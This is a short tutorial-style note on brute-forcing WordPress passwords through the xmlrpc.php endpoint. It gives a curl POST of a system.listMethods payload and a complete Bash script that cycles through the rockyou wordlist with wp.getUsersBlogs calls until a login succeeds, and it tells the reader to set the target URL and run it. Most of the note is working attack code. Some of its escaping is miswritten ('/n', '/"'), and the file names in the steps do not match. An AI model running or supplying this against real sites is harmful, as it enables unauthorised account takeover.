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# Manual Brute Force (xmlrpc.php)

WordPress xmlrpc.php brute force notes for wp.getUsersBlogs validation, XML payload crafting, POST request testing, Bash automation, and password discovery.

## Manual brute force password discovery

1. First, check whether **xmlrpc.php** is publicly accessible:

   ```arduino
   https://website/xmlrpc.php
   ```
2. Create an XML file named **xmlrpc.xml** with the following content:

   ```xml
   <?xml version="1.0" encoding="utf-8"?>
   <methodCall>
   <methodName>system.listMethods</methodName>
   <params></params>
   </methodCall>
   ```
3. Send a **POST request** with `xmlrpc.xml`:

   ```bash
   curl -s -X POST "https://website.com/xmlrpc.php" -d@test.xml
   ```
4. If the **wp.getUsersBlogs** method appears, brute force is possible:

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This Bash script automates the process. Change the URL in the script before running it:

```bash
#!/bin/bash

# Ctrl + C
function ctrl_c() {
  echo -e "/n/nExiting.../n"
  exit 1
}
trap ctrl_c SIGINT

read -p "Enter your username: " user

function createXML() {
  password="$1"

  xmlFile="<?xml version=/"1.0/" encoding=/"UTF-8/"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>"$user"</value></param>
<param><value>$password</value></param>
</params>
</methodCall>"

  echo "$xmlFile" > file.xml 

  response=$(curl -s -X POST "http://website.com/xmlrpc.php" -d@file.xml)

  if ! echo "$response" | grep -q 'Incorrect username or password.'; then
    echo "[+] The password for user $user is $password"
    exit 0
  fi
}

while read -r password; do
  createXML "$password"
done < /usr/share/wordlists/rockyou.txt
```


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